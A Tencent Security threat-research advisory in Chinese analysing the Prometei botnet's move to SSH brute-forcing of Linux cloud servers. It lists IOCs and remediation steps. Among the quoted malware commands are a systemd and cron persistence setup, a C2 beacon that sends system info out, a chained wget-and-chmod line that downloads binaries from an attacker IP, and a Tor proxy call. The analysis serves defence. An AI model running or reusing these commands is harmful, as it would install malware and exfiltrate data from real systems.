• 产品中心

    产品中心

    • 基础安全

      T-Sec 主机安全

      容器安全服务 TCSS

      T-Sec Web应用防火墙

      T-Sec 云防火墙

      T-Sec 安全运营中心

      T-Sec iOA零信任安全管理系统

    • 业务安全

      T-Sec 天御 验证码

      T-Sec 天御 文本内容安全

      T-Sec 天御 视频内容安全

      T-Sec 全栈式风控引擎

      T-Sec 手游安全

      T-Sec 小程序安全

      T-Sec 应用合规平台

    • 数据安全

      T-Sec 堡垒机

      T-Sec 数据安全审计

      T-Sec 云访问安全代理

      T-Sec 凭据管理系统

      T-Sec 密钥管理系统

      T-Sec 云加密机

      T-Sec 数据安全治理中心

    • 安全服务

      T-Sec 安全专家服务

      一站式等保服务

      T-Sec 安全托管服务

      渗透测试服务

      应急响应服务

      重要时期安全保障服务

      安全攻防对抗服务

    了解全部安全产品→

  • 解决方案

    解决方案

    • 通用解决方案

      等保合规安全解决方案

      直播安全解决方案

      数据安全解决方案

      品牌保护解决方案

      高防云主机安全解决方案

      腾讯安心平台解决方案

    • 行业场景方案

      游戏安全场景方案

      电商安全场景方案

      智慧零售场景方案

      智慧出行场景方案

    • 安全专项解决方案

      勒索病毒专项解决方案

      重大保障安全解决方案

  • 更多

    更多

    • 关于我们

      腾讯安全介绍

      荣誉认证

    • 帮助中心

      帮助文档

    • 考试认证

      在线课堂

      证书查询

    • 联系我们

      产品方案咨询

      寻求市场合作

    • 友情链接

      腾讯云

威胁研究正文

腾讯主机安全（云镜）检测到Prometei僵尸网络针对云服务器的攻击

2020-12-11 09:35:58

腾讯主机安全（云镜）检测到Prometei僵尸网络针对云服务器的攻击行动。该僵尸网络于2020年7月被发现，初期主要以SMB、WMI弱口令爆破和SMB漏洞（如永恒之蓝漏洞）对Windows系统进行攻击传播。近期发现该僵尸网络启用了针对Linux系统的攻击，通过SSH弱口令爆破入侵，再通过挖矿牟利。

一、概述

腾讯主机安全（云镜）检测到Prometei僵尸网络针对云服务器的攻击行动。该僵尸网络于2020年7月被发现，初期主要以SMB、WMI弱口令爆破和SMB漏洞（如永恒之蓝漏洞）对Windows系统进行攻击传播。

腾讯安全威胁情报中心发现该僵尸网络于2020年12月3日启用了针对Linux系统的攻击，此次攻击行动通过SSH弱口令爆破登陆服务器，然后安装僵尸木马/usr/sbin/uplugplay，uplugplay，再通过安装定时任务和系统服务进行持久化。从而持续与C2服务器通信，并尝试根据C2指令启动挖矿程序。

腾讯安全专家建议企业用户按照以下方式对服务器进行检查并删除相关项，同时修改SSH认证方式为强密码。

文件

/usr/sbin/uplugplay

/etc/uplugplay

/etc/CommId

进程

./uplugplay

sh -c /usr/sbin/uplugplay -Dcomsvc

/usr/sbin/uplugplay -Dcomsvc

定时任务：

@reboot /usr/sbin/uplugplay -cron

系统服务：

/etc/systemd/system/multi-user.target.wants/uplugplay.service -> /usr/lib/systemd/system/uplugplay.service

腾讯安全系列产品应对Prometei僵尸网络的响应清单：

应用

场景

安全产品

解决方案

威

胁

情

报

腾讯T-Sec

威胁情报云查服务

（SaaS）

1）Prometei僵尸网络相关IOCs已入库。

各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics

腾讯T-Sec

高级威胁追溯系统

1）Prometei僵尸网络相关信息和情报已支持检索。

网管可通过威胁追溯系统，分析日志，进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息，可参考：https://cloud.tencent.com/product/atts

云原生

安全

防护

云防火墙

（Cloud Firewall，CFW）

基于网络流量进行威胁检测与主动拦截，已支持：

1）Prometei僵尸网络关联的IOCs已支持识别检测；

2）检测SSH弱口令爆破攻击；

有关云防火墙的更多信息，可参考：
https://cloud.tencent.com/product/cfw

腾讯T-Sec  主机安全

（Cloud Workload Protection，CWP）

1）已支持查杀Prometei僵尸网络木马程序；

2）支持检测SSH弱口令爆破攻击；

腾讯主机安全（云镜）提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息，可参考：https://cloud.tencent.com/product/cwp

腾讯T-Sec 安全运营中心

基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全（云镜）、腾讯御知等产品数据导入，为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。

关于腾讯T-Sec安全运营中心的更多信息，可参考：https://s.tencent.com/product/soc/index.html

非云企业安全防护

腾讯T-Sec

高级威胁检测系统

（腾讯御界）

1）已支持检测Prometei僵尸网络木马程序；

2）支持检测、告警SSH弱口令爆破攻击行为。

关于T-Sec高级威胁检测系统的更多信息，可参考：

https://cloud.tencent.com/product/nta

腾讯T-Sec

零信任无边界访问控制系统
（iOA）

1）可查杀Prometei僵尸网络木马程序。

零信任无边界访问控制系统（iOA）是腾讯结合自身丰富的网络安全管理实践经验与“零信任”理念，推出的网络边界访问管控整体解决方案。更多资料，可参考：https://s.tencent.com/product/ioa/index.html

二、详细分析

Prometei僵尸网络病毒通过SSH（22端口）Root账号弱口令爆破入侵，然后下载脚本upnpsetup进行安装：

bash -c sudo /tmp/upnpsetup

接着清除安装文件： 

bash -c cat /etc/os-release&cat /etc/redhat-release&rm /tmp/upnpsetup&rm ./upnpsetup

安装脚本释放核心木马文件：/usr/sbin/uplugplay

Uplugplay将自身安装为systemd服务随系统启动： 

/etc/systemd/system/multi-user.target.wants/uplugplay.service -> /usr/lib/systemd/system/uplugplay.service

服务描述： 

[Unit] Description=UPlugPlay After=multi-user.target [Service] Type=forking ExecStart=/usr/sbin/uplugplay [Install] WantedBy=multi-user.target

Uplugplay将自身安装为cron定时任务，在开机时运行： 

@reboot /usr/sbin/uplugplay -cron

木马上线后首先向服务器请求命令，服务器返回“sysinfo”，即让受控机上传系统信息。


与C2服务器的通信可通过HTTP进行，命令和命令执行结果使用被感染计算机上生成的密钥使用RC4加密进行传输。RC4密钥通过HTTP共享，通过保存在僵尸木马的数据块中的公共密钥进行加密，然后经过base64编码字符串后保存在enckey参数中。 

GET i-bin/prometei.cgi?add=aW5mbyB7DQp2Mi44NlhfVW5peDY0DQprYWxpLTAwMQ0KDQoxeCBJbnRlbChSKSBDb3JlKFRNKSBpNy00NzkwIENQVSBAIDMuNjBHSHoNCg0KSW50ZWwgQ29ycG9yYXRpb24NCjQ0MEJYIERlc2t0b3AgUmVmZXJlbmNlIFBsYXRmb3JtDQoNCg0KS2FsaSBHTlUvTGludXggUm9sbGluZyAmIDIwMTguMiANCg0KL3Vzci9zYmluLw0KIDE1OjU0OjEwIHVwIDQ3IG1pbiwgIDEgdXNlciwgIGxvYWQgYXZlcmFnZTogMC41NiwgMC4zMiwgMC4yNg0KTGludXgga2FsaS0wMDEgNC4xNS4wLWthbGkyLWFtZDY0ICMxIFNNUCBEZWJpYW4gNC4xNS4xMS0xa2FsaTEgKDIwMTgtMDMtMjEpIHg4Nl82NCBHTlUvTGludXgNCn0NCg__&i=607QY1J44NY88E14&h=kali-001&enckey=F5mGmixSHYDjcbmAJfOmEXB76jhOuJma/mH6rLvvDgqAscm+TJxiD79QBabODgF868YiMCDR0oIK4k7mdIg/yUY63Ax1Gpsuk2qFvK0kmNLjNbFFzRkDzKlfwvkzUIZMDDfYooUqBcDyL06TjzYOAQoGkrgm60CKqeQFyeR4bpE= HTTP/1.0
Host: p1.feefreepool.net

请求回传感染用户机器信息，相关信息被base64编码后附加在参数add中，包括操作系统版本、用户名、CPU类型、CPU频率、木马所在路径、木马启动时间，格式如下： 

info {

v2.86X_Unix64

kali-001

1x Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz


Intel Corporation

440BX Desktop Reference Platform


Kali GNU/Linux Rolling & 2018.2 

/usr/sbin/

 15:54:10 up 47 min,  1 user,  load average: 0.56, 0.32, 0.26

Linux kali-001 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux

}

之后僵尸木马程序进入接收C2服务器的指令并执行的循环中，支持以下功能的执行，对感染机器进行远程控制：

exec：执行一个程序

sysinfo：查询被感染系统的机器信息

quit：退出僵尸木马进程

quit2：退出僵尸木马处理命令循环，不退出进程

touch：修改文件一个字节，从而改变检验值和生成时间

set_cc0/set_cc1:设置一个新的C2服务地址

extip：获取僵尸网络外部的IP地址

xwget：下载文件，并将文件每个字节通过XOR运算

wget：下载文件

start_mining：启动挖矿程序

stop_mining：停止挖矿程序

updatev4：下载更新僵尸木马


僵尸木马与C2服务器的通信命令如下： 

sh -c /usr/sbin/uplugplay -chkxwget http://178.32.52.248/dwn.php?d=t-msdtc /usr/sbin/msdtc 25F83D54776B4D623B327DA96A8873C60B8E834D7E3A26CCA0461C9C6B66642E&&chmod +x /usr/sbin/msdtc&&/usr/sbin/uplugplay -chkxwget http://178.32.52.248/dwn.php?d=t-smcard /usr/sbin/smcard 2D2CDFBA7C1BF259DAE72440BE8AF09F13F2465E99CC7B655383034CC5E79924&&chmod +x /usr/sbin/smcard&&/usr/sbin/uplugplay -chkxwget http://178.32.52.248/dwn.php?d=t-libssl /usr/lib/libssl.so.1.1 16BC51330FE980C40505EBC871EF264A6FB9A2236EA06E184AFDF2022AA2A207&&chmod +x /usr/lib/libssl.so.1.1&&/usr/sbin/uplugplay -chkxwget http://178.32.52.248/dwn.php?d=t-libevent /usr/lib/libevent-2.1.so.7 D0EB44092124BD424C0668BC02204580D7676AD74847B744418A4F1E0C683FC9&&chmod +x /usr/lib/libevent-2.1.so.7&&/usr/sbin/uplugplay -chkxwget http://178.32.52.248/dwn.php?d=t-libcrypto /usr/lib/libcrypto.so.1.1 2501FD4111DACA1FA7CD011582246753D13AF23C03F291DE6C972FA8256ECFFC&&chmod +x /usr/lib/libcrypto.so.1.1

与C2服务器的通信直接通过HTTP，TOR代理进行，可能还存在名为smcard、libssl、libevent、libcrypto的代理方式。其中使用的/usr/sbin/msdtc文件主要目的是通过TOR将请求代理到C2服务器https[:]//gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi。

执行代理请求命令： 

/usr/sbin/msdtc aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9NSZpPU82RU00UUNPNTAzNlRSQzQ=

Base64解码命令： 

/usr/sbin/msdtc https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi?r=5&i=O6EM4QCO5036TRC4

IOCs

IP

178.32.52.248

Md5

Uplugplay

ed3532ffbcfd91585568635eb6d4a655

Domain

mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p

gb7ni5rgeexdcncj.onion

p1.feefreepool.net

dummy.zero

C2：

p1.feefreepool.net

URL

http[:]//178.32.52.248/dwn.php

http[:]//mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi

https[:]//gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi                                    

http[:]//p1.feefreepool.net/cgi-bin/prometei.cgi                                          

http[:]//dummy.zero/cgi-bin/prometei.cgi

参考链接：

https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html

  • 产品方案

    • 产品中心

  • 威胁研究

    • 威胁通告
    • 研究报告

  • 合作伙伴

    • 合作伙伴详情

  • 其他

    • 腾讯安全介绍
    • 新闻活动
    • 在线课堂

  • 友情链接

    • 腾讯云

腾讯安全公众号

腾讯安全视频中心

Copyright©1998-2024 Tencent. All Rights Reserved.

在线咨询

方案定制